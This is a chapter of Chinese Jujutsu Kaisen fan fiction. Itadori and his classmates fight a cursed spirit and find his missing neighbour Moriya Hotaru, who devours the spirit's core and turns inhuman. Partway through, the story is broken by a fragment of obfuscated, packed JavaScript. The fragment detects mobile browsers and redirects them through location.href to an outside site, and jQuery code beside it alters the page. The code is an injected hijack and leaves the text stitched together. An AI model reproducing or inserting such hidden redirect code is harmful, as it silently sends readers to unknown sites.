4. 受肉后她不做人了
作品:《金手指是咒灵老奶能走上人生巅峰吗?》 虎杖悠仁听到钉崎的抱怨,蜜色眼眸里闪过一抹失落,但是指着尽头米粒大小的建筑顶,说:“那就是森之谷的遗迹了。”
伏黑惠淡淡点头,钉崎野蔷薇抱臂问他:“你怎么对这里熟悉?该不会也来这里探险过吧?”
刚才在山脚下,虎杖听到辅助监督说最后目击到咒灵的地点在“小台室”时,地图都没看就主动带了路,那条偏离主干道的隐蔽小路极难察觉。
话说,虎杖应该就住在这个区的吧?
钉崎野蔷薇继续爬台阶,却听到虎杖说:“是当地人是一回事,也是因为……说起来这里和我姐姐的失踪案有关系。”
两人回头看向他,钉崎错愕又有点戳了同学伤心处的尴尬:“啊?你这家伙还有个姐姐?”
“不是亲的啦,是从小一起长大的邻家姐姐,但和亲姐姐差不多了。”
虎杖掏出手机给她看了看屏保,上面是个女生的照片。
钉崎的目光首先落在了女生鼻尖那枚小红痣上,然后才聚焦在她的脸上。
脸包在乌黑卷发团里,银框眼镜下深蓝眼眸在阳光下似一颗闪烁的蓝宝石。坐在台阶上,身后是大片开得正盛的绣球花,淡粉色衬衫领口解开一颗扣子,袖口挽起露出的手腕带着条手编绳。
“品味不错啊,所以是这么回事?找到她了吗?”
虎杖收回手抬脚攀登,摇了摇头,说了案件大概过程,轻快地说:“三年前警方查到的最后出现的地方就是小台室,山上也发现了大量属于她的血迹,但是没有找到她的人。”
“只要找不到她的尸体,我就相信小萤姐还存在于这个世界上,只是回不了家。”
钉崎和伏黑对视一眼,钉崎说:“哦,说不定是被绑架了吧,把照片发我一份,说不定哪天就意外碰到或者找到线索了呢。”
虎杖笑起来说:“嗯,现在我是咒术师,未来大概会全国到处跑吧?总会找到她的。”
他想起入学的时候,也拜托了五条老师,从咒术师的角度找找线索。
当时高大的白发男人捏着脸思索着,上半张脸虽然蒙在黑眼罩下,但虎杖却觉得他是在看小萤姐家门口那个小狗木雕。
半晌五条老师打了个响指说:“有意思呢,交给老师吧。”
伏黑惠打断他们说:“好了,先处理好任务吧,咒灵气息已经很浓郁了,别放松警惕。”
虎杖打起精神:“收到!祓除了咒灵那个女生已经就能解咒得救了吧。”
钉崎忽然想起来:“对了,你姐姐叫什么名字?”
虎杖一步跨过三级台阶回答:“森谷萤。”
——
……好冷。
森谷萤昏沉着,她的思绪断断续续,耳边满是嘈杂的呜鸣。
感觉自己整个人被浸泡在初春融化的溪流中,不似寒冬般刺骨,柔软得像是丝绒擦过手臂。
……触感好像雪纪很喜欢的那条绿色裙子。
翡翠一样。
她的眼珠转动着,眼皮的血肉色之外,那层浓绿忽然透过来一丝细小光束。
光线越来越大,森谷萤恍惚中觉得自己是一只正在被打破蛋壳的,未发育完全的雏鸟。
说起来,感觉不到身体啊。
森谷萤被水流裹挟着摇晃着,一丝细微的疼痛从左手上传来,她安心了一点,至少手还在。
“……萤……姐……小萤……萤……”
谁?
意识昏沉间眼前忽然划过一张的呢发少年的脸,悠仁?
森谷萤努力向看清一点,虎杖悠仁的脸比记忆中成熟一点,身上穿着奇怪的黑色制服,红色的兜帽,神情崩溃的跪在地上,眼泪一滴滴坠落在柏油路面之上,抬起的脸上满是血色。
电影幕布一样一帧一帧闪过黑夜下布满血迹和残肢断臂的街头、火焰、斩击下化为肉沫的人群……还有,躺在他面前的黑发女人。
支离破碎的躯体,半阖的无神双眼,以及散落的,珍珠项链。
一段段血色画面定格在虎杖附身在两座坟墓前放下两束花,墓碑上写着“森谷家之墓”。
少年在墓前抬起头,鼻梁上一道长疤,眼神却平静,似乎一夜之间抽筋拔骨,说:“小萤姐,雪纪姐,请你们看着我,我会做好一颗螺丝钉。”
……什么?
森谷萤被拖动着,耳边奇怪的声音越来越响,直到被紧紧抱住,混沌的大脑还没有从那些画面中回神。
“小萤姐!!!”
森谷萤条件反射般睁开了双眼。
钉崎野蔷薇狼狈躲闪着疯狂飞舞的藤蔓,再次掷出一枚钉子,大吼:“喂!虎杖你在干什么?”
十分钟前,一年级三个人踏进了那座破败的教坛。
伏黑惠发短信给山下的辅助监督布下帐,几乎在帐完整落下的下一秒。
废弃教坛后的断崖下就爆发出强烈的咒力,压得人喘不过气。
断崖下猛地暴起无数条藤蔓,翠绿,一看就有剧毒。
藤蔓飞舞着几下掀翻了废弃教坛的残骸,几人手忙脚乱躲闪着,钉崎大骂:“这叫二级咒灵?”
伏黑惠当机立断,结印召唤出玉犬:“这只咒灵等级至少为一级,不是我们能应对的,撤!”
钉崎却被一根不知何时潜伏在她脚下的藤蔓环住腰拽下了断崖,虎杖立刻追了下去。
无奈之下伏黑惠召出鵺跟着下去了,发现只见湖岸消失了——咒灵展开了未完成领域。
广阔的青绿湖水中一个高达到十米左右的咒灵正在缓缓舒展开身躯。
那是一只拥有女性特征的咒灵,硕大的头颅低垂着,漆黑长发海藻一样垂在水面上,枯木和白骨构成的庞大身躯,手臂交叉在胸腔前护着胸腔的一个大洞,盘根错节的树枝中有什么东西在闪着微弱的莹白光芒。
三人跑不了,只好配合着寻找破绽,伏黑惠分析咒灵核心就在胸前的洞里,专心攻击那个地方才能在踏进湖水就被不断剥夺咒力的领域中获胜。
钉崎踩着大量的脱兔垫脚,钉子一下下敲下去,躲过一根暴走的藤蔓,咒力疯狂注入:“共鸣——!!”
咒灵仰头咆哮,右肩膀上爆开一团幽蓝光晕,那只手臂软垂了下来。
左侧伏黑惠放出大蛇咬住左臂撕扯控住。
伏黑惠放出鵺,同时放出三种式神,他陷在沼泽水里,喊道:“虎杖!”
鵺飞到咒灵胸腔前,虎杖松开手踏着枯木而上,咒具一刀划破洞口的树枝攻入其中。
树枝后是一个巨大的绿色水膜,咒灵的躯体内部像是一个巢穴托着这颗珍珠。水膜随着虎杖悠仁踏入引发的震动轻颤着转动,露出一只手臂。
人类的手臂,掌心向下,小臂之上裹在破烂的黑色袖管中隐蔽在水膜后。
手腕上,带着一条陈旧到褪色,但是那种编制手法虎杖一眼就认了出来。
他冲上去一把握住那只手,温凉、腕侧还有微弱的搏动。
“小萤姐?”
水膜收缩着,想要把她裹紧,虎杖悠仁紧紧握住不放,咒具刺进水膜之中,整个巢穴僵住了,之后疯狂颤动着垂下藤蔓想要将虎杖悠仁拽出去。
虎杖悠仁不顾被刺穿的肩膀,刀刃剖开越开越大的口子。
女性的头露出,脖颈后仰,乌黑卷曲的湿发黏在脸上看不清面目,但鼻尖那枚小红痣在昏暗中犹如防伪标签。
真的是森谷萤,失踪了三年的森谷萤,还活着,就在失踪地附近,三年哪里也没有去过。
虎杖悠仁拼尽全力扒住想再次吞下她的水膜撕开,森谷萤的上半身倒入他的怀里,腰部以下被无数细小的绿色丝线缠绕着,有些刺入了她的身体里,一拽就冒着血。
虎杖悠仁只得小心翼翼清理着,不断呼喊着她的名字。
外面的两人忽然发现咒灵的攻击速度开始减慢,直到僵直住不动了。
虎杖悠仁低头,对上了怀中人无神的却大睁的双眼。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17394895|200359||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>“……雪……纪……”
虎杖悠仁眼眶酸涩,说:“是,雪纪姐还在等你回家,小萤姐,坚持住啊。”
……回家?
雪纪,在等着我回家?
她脑海中回忆起被抛下断崖时,怪物张开的巨口,她好像变成了一只河蚌,莹绿色丝线在血肉中鼓动着,被吞噬,被侵、占。
没办法回家,回不去回不去回不去回不去!
……那就。
森谷萤咬牙支撑起身体,手指痉挛着,无数莹白丝线自指尖快速生出,反向刺入水膜。
铺天盖地的傀丝席卷整个巢穴,虎杖悠仁猝不及防,被抛出了洞口。
伏黑惠震惊地看着咒灵胸口涌出的莹白丝线,那些丝线捆绑住咒灵整个身躯,自身体各个角落刺出。
虎杖悠仁退到重新显露出的岸边,虽然不知道具体发生了什么,但森谷萤好像是在反抗吧?
“加油啊——小萤姐!”
咒灵的脑袋被丝线削断,砸在了他脚边。
伏黑惠一手将钉崎野蔷薇放在鵺的背上,这家伙被刺穿了小腿,钉崎目瞪口呆,这一幕完全超出了理解范围。
他扯住虎杖的兜帽皱眉:“笨蛋吗,趁现在赶紧走。”
话语未落,未完成领域彻底消散,整个元水湖湖面犹如一面镜子,一点点消散的残躯中间跪俯着一个人。
伏黑惠:“她把咒灵核心吞掉了?”
帐随着咒灵咒力的消散缓缓消失,却又因咒灵未被祓除而维持着,在半空中卡了bug。
残阳笼罩,森谷萤扬起了头,黑发垂在颈后,左脸颊之上爬满了翠绿色的咒文。
虎杖悠仁抬脚跑向她,森谷萤歪过头,伏黑惠一震:“等等,虎杖,快回来!”
那女生的左眼已经完全异变,眼眸似缩小的湖泊,眼眶即是边界线,翠绿水波渐进停在瞳孔边缘,而瞳孔是深不见底、浓绿近墨色的断崖。
那不是人类的眼睛。
莹白丝线围绕在她身边,收拢成束,闪电间直刺三人面门。
不等他们防御,卷起他们直接往山下甩去。
三个人被包在茧中摔下山,翻滚中傀丝消退,灰头土脸地爬起来时发现已经在山下了,辅助监督朝他们跑过来。
虎杖悠仁想要重新回去,伏黑惠扯住他说:“别傻了,她已经不是人类了,这不是我们能处理的了。”
“不是人了是什么意思?明明……”
“意思就是,她吞噬了咒灵,到底能否保佑理智都是未知,说到底我也不知道到底算是什么。”
“退下去,找五条老师来,是救还是祓除,都只能交给五条老师来判断。”
虎杖悠仁喃喃:“祓除?”
——
国道上,伊地知驾驶着车辆,时不时从后视镜看向后座正在接电话的男人。
“把咒灵核心给吞了?啊嘞,这么有干劲吗?”
他倚在后座,歪着头听电话那边的学生七嘴八舌地汇报仙台异常任务,嘴角弯着。
“老师知道咯,正在往那边赶呢……悠仁,交给老师吧。”
挂断电话后,手机在他掌心转了一圈,他思索了片刻,膝盖上放着一个文件夹,正摊开露出首页。
右上角是一张女孩的证件照,是伊地知刚刚整理好的资料,关于虎杖悠仁那个“神隐”的邻家姐姐。
森谷萤,2000年生于神奈川,2006年和父亲出行时遭遇车祸,父亲当场死亡,一个月后母亲失踪,2007年随唯一的亲属搬至仙台,2015年遭遇邪教谋杀未遂的案件,警方抓到凶手后却孤身一人背着包走进了白鹭谷,从此活不见人死不见尸。
唔……
他翻着资料,笑了,从教育记录到就医记录等各方面都很干净呢。
他的食指蹭过照片上女生鼻尖的那颗小红痣。
反向受肉咒灵,哎呀,这下又要多一个死刑犯了呢。
真有趣。

